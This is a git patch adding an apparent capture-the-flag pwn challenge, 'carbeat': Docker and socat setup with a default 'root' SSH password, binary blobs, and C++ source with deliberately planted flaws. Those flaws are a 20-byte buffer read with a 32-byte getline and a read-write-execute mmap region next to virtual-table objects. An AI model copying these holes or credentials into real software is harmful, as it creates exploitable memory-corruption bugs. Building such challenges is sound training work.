From 404e2a82cb31671f112a5f634b182b9edabf88b8 Mon Sep 17 00:00:00 2001 From: adzkyyy Date: Sat, 25 Oct 2025 09:53:39 +0700 Subject: [PATCH] add carbeat --- services/carbeat/.gdb_history | 17 +++ services/carbeat/Dockerfile | 32 ++++ services/carbeat/Makefile | 18 +++ services/carbeat/chall/Makefile | 14 ++ services/carbeat/chall/mybini | Bin 0 -> 40848 bytes services/carbeat/chall/mybini.cpp | 227 ++++++++++++++++++++++++++++ services/carbeat/chall/run.sh | 3 + services/carbeat/dist/carbeat.zip | Bin 0 -> 12524 bytes services/carbeat/docker-compose.yml | 14 ++ services/carbeat/entrypoint.sh | 24 +++ services/carbeat/exploit/solve.py | 81 ++++++++++ services/carbeat/mybini.cpp | 227 ++++++++++++++++++++++++++++ 12 files changed, 657 insertions(+) create mode 100644 services/carbeat/.gdb_history create mode 100644 services/carbeat/Dockerfile create mode 100644 services/carbeat/Makefile create mode 100644 services/carbeat/chall/Makefile create mode 100644 services/carbeat/chall/mybini create mode 100644 services/carbeat/chall/mybini.cpp create mode 100644 services/carbeat/chall/run.sh create mode 100644 services/carbeat/dist/carbeat.zip create mode 100644 services/carbeat/docker-compose.yml create mode 100644 services/carbeat/entrypoint.sh create mode 100644 services/carbeat/exploit/solve.py create mode 100644 services/carbeat/mybini.cpp diff --git a/services/carbeat/.gdb_history b/services/carbeat/.gdb_history new file mode 100644 index 0000000..265d401 --- /dev/null +++ b/services/carbeat/.gdb_history @@ -0,0 +1,17 @@ +c +q +c +q +c +c +c +c +c +q +c +c +c +c +c +c +q diff --git a/services/carbeat/Dockerfile b/services/carbeat/Dockerfile new file mode 100644 index 0000000..c7e9dfe --- /dev/null +++ b/services/carbeat/Dockerfile @@ -0,0 +1,32 @@ +# Dockerfile +FROM ubuntu:24.04 + +# Build-time args +ARG PASSWORD=root +ENV DEBIAN_FRONTEND=noninteractive +WORKDIR /home/ctf/chall + +RUN apt-get update && \ + apt-get install -y --no-install-recommends \ + make \ + g++ \ + socat \ + build-essential \ + openssh-server \ + bash \ + nano \ + vim \ + && rm -rf /var/lib/apt/lists/* + +RUN useradd -m -d /home/ctf -s /bin/bash ctf && echo "ctf:${PASSWORD}" | chpasswd + +RUN mkdir -p /var/run/sshd + +COPY chall/ /home/ctf/chall +COPY ./entrypoint.sh /entrypoint.sh + +RUN chmod +x /entrypoint.sh /home/ctf/chall/run.sh && \ + chown -R root:root /home/ctf/chall && chmod -R 555 /home/ctf/chall + +EXPOSE 9000 22 +CMD ["/entrypoint.sh"] \ No newline at end of file diff --git a/services/carbeat/Makefile b/services/carbeat/Makefile new file mode 100644 index 0000000..c658459 --- /dev/null +++ b/services/carbeat/Makefile @@ -0,0 +1,18 @@ +# Makefile for final_gemastik +# Builds available binaries: mybini (C++), storage (C++), main (C), test (C) + +CXX := g++ +CXXFLAGS := -std=c++17 -O2 -Wall -Wextra + +# Explicit targets (adjust file names as needed) +MYBINI_SRCS := mybini.cpp + +.PHONY: all clean + +all: mybini + +mybini: $(MYBINI_SRCS) + $(CXX) $(CXXFLAGS) $< -o $@ + +clean: + rm -f mybini *.o \ No newline at end of file diff --git a/services/carbeat/chall/Makefile b/services/carbeat/chall/Makefile new file mode 100644 index 0000000..502b456 --- /dev/null +++ b/services/carbeat/chall/Makefile @@ -0,0 +1,14 @@ +CXX := g++ +CXXFLAGS := -std=c++17 -Wall -Wextra + +MYBINI_SRCS := mybini.cpp + +.PHONY: all clean + +all: mybini + +mybini: $(MYBINI_SRCS) + $(CXX) $(CXXFLAGS) $< -o $@ + +clean: + rm -f mybini *.o \ No newline at end of file diff --git a/services/carbeat/chall/mybini b/services/carbeat/chall/mybini new file mode 100644 index 0000000000000000000000000000000000000000..9de5401cea9ab273ad058aefc15e91d4ae0162fa GIT binary patch literal 40848 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 literal 0 HcmV?d00001 diff --git a/services/carbeat/chall/mybini.cpp b/services/carbeat/chall/mybini.cpp new file mode 100644 index 0000000..94ca282 --- /dev/null +++ b/services/carbeat/chall/mybini.cpp @@ -0,0 +1,227 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +struct Bini { + Bini *next = nullptr; + char *curr = nullptr; + Bini() {} + Bini(char *my) { + curr = my; + } +}; + +class MyKisah { + +private: + Bini *free = nullptr; + Bini *used = nullptr; + char *kisah; + +public: + MyKisah() { + kisah = (char*)mmap(nullptr, 0x120, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + for (int i = 0; i < 0x120; i += 0x20) { + Bini *tmp = free; + free = new Bini(kisah + i); + free->next = tmp; + } + } + + int add(char *bini) { + if (!free) return -1; + Bini *tmp = used; + used = free; + free = free->next; + used->next = tmp; + strncpy(used->curr, bini, 0x20); + return 0; + } + + int del(unsigned int id) { + if (!used) return -1; + if (!id) { + Bini *tmp = free; + free = used; + used = used->next; + free->next = tmp; + return 0; + } + Bini *cur = used; + for (int i = 0; i < (int)id - 1; ++i) { + if (!cur) return -1; + cur = cur->next; + } + if (!cur || !cur->next) return -1; + Bini *tmp = free; + free = cur->next; + cur->next = cur->next->next; + free->next = tmp; + return 0; + } + + void view(int id) { + Bini *cur = used; + for (int i = 0; i < id; ++i) { + if (!cur) { + std::cout << "no bini\n"; + return; + } + cur = cur->next; + } + if (!cur) { + std::cout << "no bini\n"; + return; + } + std::cout << cur->curr << '\n'; + } + +}; + +class Karbit { + protected: + size_t karbit_level; + public: + char karbit[20]; + Karbit() { + std::cout << "nama: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + std::cout << "level karbit (0-100): "; + std::cin >> karbit_level; + } + void info(){ + std::cout << karbit << " adalah "<< std::min(karbit_level, (size_t)100) << "%" << " karbit\n"; + } + virtual void mybini() = 0; +}; + +class User: public Karbit { + + private: + MyKisah my; + public: + User(){} + void mybini() { + std::cout << "0. edit karbit\n1. add bini\n2. view bini\n3. delete bini\n4. logout\n"; + } + + void edit_karbit(){ + std::cout << "karbit old: " << karbit << '\n'; + std::cout << "karbit new: "; + std::cin.ignore(); + std::cin.getline(karbit, 0x20); + } + + void add_bini(){ + char bini[0x20]; + std::cout << "nama bini: "; + std::cin.ignore(); + std::cin.getline(bini, 0x20); + if (my.add(bini) == -1) { + std::cout << "gagal menambah bini\n"; + return; + } + } + + void view_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + my.view(idx); + } + + void delete_bini(){ + unsigned int idx; + std::cout << "index bini: "; + std::cin >> idx; + if (my.del(idx) == -1) { + std::cout << "gagal menghapus bini\n"; + return; + } + } +}; + +std::vector users; +int selected_user = -1; + +int main(){ + int c; + + for (;;){ + if (selected_user == -1) { + std::cout << "1. register" << std::endl; + std::cout << "2. login" << std::endl; + std::cout << "3. list karbit" << std::endl; + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 1: + users.push_back(User{}); + break; + case 2: + { + std::string name; + std::cout << "nama: "; + std::cin >> name; + for (int i = 0; i < (int)users.size(); i++){ + if (users[i].karbit == name) { + selected_user = i; + break; + } + } + + if (selected_user == -1) { + std::cout << "karbit tidak ditemukan" << std::endl; + } + } + break; + case 3: + for (auto& user : users) user.info(); + break; + default: + std::cout << "invalid option" << std::endl; + } + } else { + users[selected_user].mybini(); + std::cout << "> "; + std::cin >> c; + + switch (c) { + case 0: + users[selected_user].edit_karbit(); + break; + case 1: + users[selected_user].add_bini(); + break; + case 2: + users[selected_user].view_bini(); + break; + case 3: + users[selected_user].delete_bini(); + break; + case 4: + selected_user = -1; + break; + default: + std::cout << "invalid option" << std::endl; + break; + } + } + } + + return 0; +} + + +void init() { + setbuf(stdin, nullptr); + setbuf(stdout, nullptr); + setbuf(stderr, nullptr); +} \ No newline at end of file diff --git a/services/carbeat/chall/run.sh b/services/carbeat/chall/run.sh new file mode 100644 index 0000000..2625de4 --- /dev/null +++ b/services/carbeat/chall/run.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +exec socat TCP-LISTEN:9000,reuseaddr,fork EXEC:./mybini \ No newline at end of file diff --git a/services/carbeat/dist/carbeat.zip b/services/carbeat/dist/carbeat.zip new file mode 100644 index 0000000000000000000000000000000000000000..f9ddc34a0249893673bbfa4e921235a13667c767 GIT binary patch literal 12524 zcmZ{K1ymeOx9z~d5Zv7*5D2cpJt07FhoHe-f@^RcoM6Ev5ZpqLL4$j6AKV$7LFVQA z@4E8t|K934)wNI6+FfU@u2ZY4x0(_Vg$Muuya0Sq);CB2sx<{LsQL~l?cxN~I}&+Z5^GWY{MiN4cXcJ% zVcRd2j@Ou+9zg@B{Z~NPD*A>Z1iU*ktN=h_9smFWPyrl$%x#@){}qmp$fM0a_P@e8 zHuCe<)NYo1pVBNwiQo8w5f;*{Wj}LaV`e(cxTE!|MGd+K#Ihw^QpoxvrU(O83FU8F ziL~@a8jwqJt*^A=7*n6TIn>InWVN(uEmBeMi>Zl9%U*$(s|~yuY_*ph7k;v)!^NLs>VSDx)(n7oHAy<@`f8g6}me#tgI zXbG&b*#6_8P+8onAt}ct8GCLglA@`BE&JIBZvIp2y>RG{vUj*|V=DKTDpONud!J@C zjO4+p8X7vd_f{!?M^hAR9S`dq+J0Z7OViX0)p;);bhuxZ(_C5lGAFs>I;%VndQ?I`9E}P?LVxRQ0kw>sO;9+f56}m7MNVqRi@0Rnb#PcI1=3BHQo951iIdkF7$j z$3nkyPNkOP9d|CBb0k|9_E7BdeM9!Rm>wW*@wexvqGV+;HsPkm;@7vPu$OetA`6G=jVcR9) z)Y9A&+vAlCP>_5!MP5#6fY5^bdkiB5#vsG28`ZL;^`y7Y;rw^6jqLojDIgu+O4lp+ zPkyK{N;1ZaLzK4igr*zUb3q914-gpt*072NuED$CM0X9gOI#|1kuq5~0=7$%IK;YT zUCs)OlF8wZf+>{_^zA=YcaJn$8kA+X8ND=xe|5JjE`Qfs8&>5s`3A(#o}PknIXG>0*?$~VIk0yt;xIOgeN?sk%V!SsL)*Z-37*~ltx6}O zcXi*nUZmX^+~P@G@lkW{3O;(2bFuaD!h%n1>0?vX7}>>7f2)ga6VoQa#->c=QjKYj zt3wYV9U&%4U29nqPN7W0I#zdTr?%H=MitUOTB^B1%tl+xXX`;_hV@0wb{})g#_gD! zIc+@dHWggI+EW?@|A1J=e@8L2sq|{jQXVwO7~5-rw=})^p>k^lCU1#ii!wQM^sF4) zx!`YPu4FvB&tWwHpl3I|-1w|#m}?x=waYLrC@d~vGr3pWY~0MiXf{>Vs2N$IZ3$TF(cB*Al93AF?*H!(N=jd^e7LU0y(e*C@I{;UU560Y2`_iZ6KoJ)>lPk72og_2CN9{gW0AHTaK5c*l#p@uBB9?mH$B?G;{(+s#p?X9Ss8 zWOoskL}s@ImPBm#JMu>gkSh0`18BlI>7+fmyI%}t)xO%|+yKP&>D&{8X#wj^Y2(|;~O(%{z9Q9zc+HR z0)<1pc)TS-&#cd1lRW}LCrrL@^lt#MzOhY=rz#Kq-{l^mGrs-N zCmlEN+eqYf-XqXR$xHsxz$_7$X85G{x~DzVeq--g_MFdI=ViLH3^6R_3!TGhpV+V3 zf%Rk`4|OnYs*i^>Sd!&(-<$@~G+Kn|;}0G!iuHb^wWRqt4K>buM|$Di@sGzp_iwMa zf9Bt|SG(5kRJds1-|?gZFjii$@z1^{UN9#VHbcs^7CgXpnXv&Ic_b1G%!CkuO?Jzm ze-Zyb2*ozH+>mx;eP0`dx;PtMwG-zmOv#n zU<2BZ*=*0XF+tk>kaB3AI!v|v?ys+x?U|JA8HqTkCdOGC=0pt9?_d88bykPjYx$?e zm=r?yD(}ouo#BNd9#<+79?7^k;JIp{Y=%-s{{bjMZp3{F3y*r)C`ZVi#keL|x8|)J z1S=^fEQo^r1haB*nubO0(yEEERYFlZP$WH12sNn()88ib?CHYV-xg@&^4d$Y)nnw9bYZKQuFakc&+6@iyxp!azbC|tWbzq zUXG@FY!|wjh(W|s&Opi5Lx#&-f8n`SEG;`U{IK`#JoLAu#Meofep2QwV_Fb3 zi$qbx?rdU&L|7FY&CIa*ax{mwyPRQEF88;~a+yCtkp|w3QMYGHI1zMvV6AW%-@1J9 